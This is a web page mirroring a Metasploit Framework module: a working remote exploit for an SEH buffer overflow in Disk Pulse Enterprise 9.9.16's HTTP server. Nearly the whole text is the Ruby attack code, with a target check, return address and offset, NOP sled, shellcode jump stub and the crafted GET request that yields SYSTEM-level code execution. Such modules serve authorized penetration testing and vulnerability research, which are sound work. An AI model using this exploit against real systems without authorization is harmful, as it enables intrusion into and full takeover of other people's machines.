CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/http/disk_pulse_enterprise_get.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'Disk Pulse Enterprise GET Buffer Overflow',
15
'Description' => %q(
16
This module exploits an SEH buffer overflow in Disk Pulse Enterprise
17
9.9.16. If a malicious user sends a crafted HTTP GET request
18
it is possible to execute a payload that would run under the Windows
19
NT AUTHORITY\SYSTEM account.
20
),
21
'License' => MSF_LICENSE,
22
'Author' =>
23
[
24
'Chance Johnson', # msf module - [email protected]
25
'Nipun Jaswal & Anurag Srivastava' # Original discovery -- www.pyramidcyber.com
26
],
27
'References' =>
28
[
29
[ 'EDB', '42560' ]
30
],
31
'DefaultOptions' =>
32
{
33
'EXITFUNC' => 'thread'
34
},
35
'Platform' => 'win',
36
'Payload' =>
37
{
38
'EncoderType' => "alpha_mixed",
39
'BadChars' => "\x00\x0a\x0d\x26"
40
},
41
'Targets' =>
42
[
43
[ 'Disk Pulse Enterprise 9.9.16',
44
{
45
'Ret' => 0x1013ADDD, # POP EDI POP ESI RET 04 -- libpal.dll
46
'Offset' => 2492
47
}]
48
],
49
'Privileged' => true,
50
'DisclosureDate' => '2017-08-25',
51
'DefaultTarget' => 0))
52
53
register_options([Opt::RPORT(80)])
54
end
55
56
def check
57
res = send_request_cgi(
58
'uri' => '/',
59
'method' => 'GET'
60
)
61
62
if res && res.code == 200 && res.body =~ /Disk Pulse Enterprise v9\.9\.16/
63
return Exploit::CheckCode::Appears
64
end
65
66
return Exploit::CheckCode::Safe
67
end
68
69
def exploit
70
connect
71
72
print_status("Generating exploit...")
73
exp = payload.encoded
74
exp << 'A' * (target['Offset'] - payload.encoded.length) # buffer of trash until we get to offset
75
exp << generate_seh_record(target.ret)
76
exp << make_nops(10) # NOP sled to make sure we land on jmp to shellcode
77
exp << "\xE9\x25\xBF\xFF\xFF" # jmp 0xffffbf2a - jmp back to shellcode start
78
exp << 'B' * (5000 - exp.length) # padding
79
80
print_status("Sending exploit...")
81
82
send_request_cgi(
83
'uri' => '/../' + exp,
84
'method' => 'GET',
85
'host' => '4.2.2.2',
86
'connection' => 'keep-alive'
87
)
88
89
handler
90
disconnect
91
end
92
end
93
94